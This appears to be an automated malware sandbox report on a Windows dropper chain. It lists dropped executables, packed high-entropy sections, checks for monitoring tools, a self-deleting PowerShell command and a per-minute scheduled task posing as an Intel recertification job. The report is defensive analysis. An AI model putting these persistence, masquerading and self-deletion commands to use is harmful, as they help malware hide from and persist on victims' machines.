Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Unpacked PE file: 14.2.01b80870ed45442fb720b666633425f9.exe.f80000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Unpacked PE file: 47.2.d274ed0757.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: SibClr.dll.43.dr, CaProxy.cs	.Net Code: RunCaFunction
Source: SibClr.dll.43.dr, CaProxy.cs	.Net Code: TestCondition
Source: Ionic.Zip.dll.43.dr, Ionic.Zip.Resources.WinFormsSelfExtractorStub.cs	.Net Code: Resolver System.Reflection.Assembly.Load(byte[])
Source: Ionic.Zip.dll.43.dr, Ionic.Zip.Resources.CommandLineSelfExtractorStub.cs	.Net Code: Resolver System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: kf5cl0F[1].exe.5.dr

Static PE information: 0xC03B6D70 [Sun Mar 13 18:41:52 2072 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x43dd2b should be: 0x4430b3
Source: Dh5yvWY.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6347d4
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2ef2d3 should be: 0x2ee5b3
Source: d274ed0757.exe.5.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: in.exe.26.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 08E5C.tmp.43.dr	Static PE information: real checksum: 0x0 should be: 0xce26
Source: ANEDNjf.exe.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: Intel_PTT_EK_Recertification.exe.28.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: kf5cl0F[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: ANEDNjf[1].exe.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: Dh5yvWY[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6347d4
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x142bdc
Source: kf5cl0F.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: 2.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x5fa8b
Source: file.exe	Static PE information: real checksum: 0x2ef2d3 should be: 0x2ee5b3
Source: 7z.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: Setup.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x52beb4
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: 7z.dll.15.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: 11.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x5aa3d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: htmesedz
Source: file.exe	Static PE information: section name: umtkotfn
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: htmesedz
Source: skotes.exe.0.dr	Static PE information: section name: umtkotfn
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name:
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: .idata
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name:
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: uzxdwyvi
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: efzdldig
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: .taggant
Source: ANEDNjf.exe.5.dr	Static PE information: section name:
Source: ANEDNjf.exe.5.dr	Static PE information: section name: .idata
Source: ANEDNjf.exe.5.dr	Static PE information: section name:
Source: ANEDNjf.exe.5.dr	Static PE information: section name: uzxdwyvi
Source: ANEDNjf.exe.5.dr	Static PE information: section name: efzdldig
Source: ANEDNjf.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe0.5.dr	Static PE information: section name: tzuttanx
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: d274ed0757.exe.5.dr	Static PE information: section name:
Source: d274ed0757.exe.5.dr	Static PE information: section name: .idata
Source: d274ed0757.exe.5.dr	Static PE information: section name:
Source: d274ed0757.exe.5.dr	Static PE information: section name: xnuzvlhe
Source: d274ed0757.exe.5.dr	Static PE information: section name: tzuttanx
Source: d274ed0757.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: uqtrtfqz
Source: random[1].exe1.5.dr	Static PE information: section name: iiysmucz
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: in.exe.26.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.28.dr	Static PE information: section name: UPX2
Source: Setup.exe.43.dr	Static PE information: section name: .didata
Source: 11.exe.43.dr	Static PE information: section name: .didat
Source: 2.exe.43.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002DD91C push ecx; ret	0_2_002DD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002D1359 push es; ret	0_2_002D135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0018D91C push ecx; ret	2_2_0018D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0018D91C push ecx; ret	5_2_0018D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0018DFC6 push ecx; ret	5_2_0018DFD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AEF53C push ebp; ret	8_2_04AEF543
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AEF534 push esp; ret	8_2_04AEF53B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AEF544 push edi; ret	8_2_04AEF54B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AE629D push eax; ret	8_2_04AE6351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0772342E push edx; iretd	8_2_0772342F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_07723287 push edx; iretd	8_2_07723298
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E2634D push eax; ret	11_2_04E26361
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E23D1C push edx; retn 0008h	11_2_04E23D32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E22801 push eax; retn 006Ah	11_2_04E22802
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E27A21 pushfd ; retn 0008h	11_2_04E27A22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C34E90 push eax; ret	11_2_07C3500E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C30CE8 push cs; ret	11_2_07C30E0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C30488 push es; ret	11_2_07C306A6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C3537F push eax; ret	11_2_07C35389
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C3528D push edx; ret	11_2_07C3528E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C35000 push eax; ret	11_2_07C3500E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07C3001B push ecx; iretd	11_2_07C30077
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E333F1 push eax; ret	13_3_00E33449
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E333F1 push eax; ret	13_3_00E33449
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E333F1 push eax; ret	13_3_00E33449
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E2FE47 push ebp; retf	13_3_00E2FE57
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E39DA1 push esp; iretd	13_3_00E39DA2
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E39DA1 push esp; iretd	13_3_00E39DA2
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E39DA1 push esp; iretd	13_3_00E39DA2
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E39DA1 push esp; iretd	13_3_00E39DA2
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E39DA1 push esp; iretd	13_3_00E39DA2

Source: file.exe	Static PE information: section name: entropy: 7.976334411933139
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.976334411933139
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: ANEDNjf.exe.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: ANEDNjf.exe.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[1].exe0.5.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe0.5.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: d274ed0757.exe.5.dr	Static PE information: section name: entropy: 7.983709808349382
Source: d274ed0757.exe.5.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[1].exe1.5.dr	Static PE information: section name: uqtrtfqz entropy: 7.954516574877229
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name: entropy: 7.998065397541737
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name: entropy: 7.835772093485549
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name: entropy: 7.895809881085285
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name: entropy: 7.923799999232602
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name: .data entropy: 7.985142940376177

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	File created: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\1\11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\SibClr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\0\Setup.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\SibCa.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\08E5C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\Zip.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Dh5yvWY[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\Ionic.Zip.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\nsiCA01.tmp\siblog.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	File created: C:\Users\user\AppData\Local\Temp\FutureApp\2\2.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
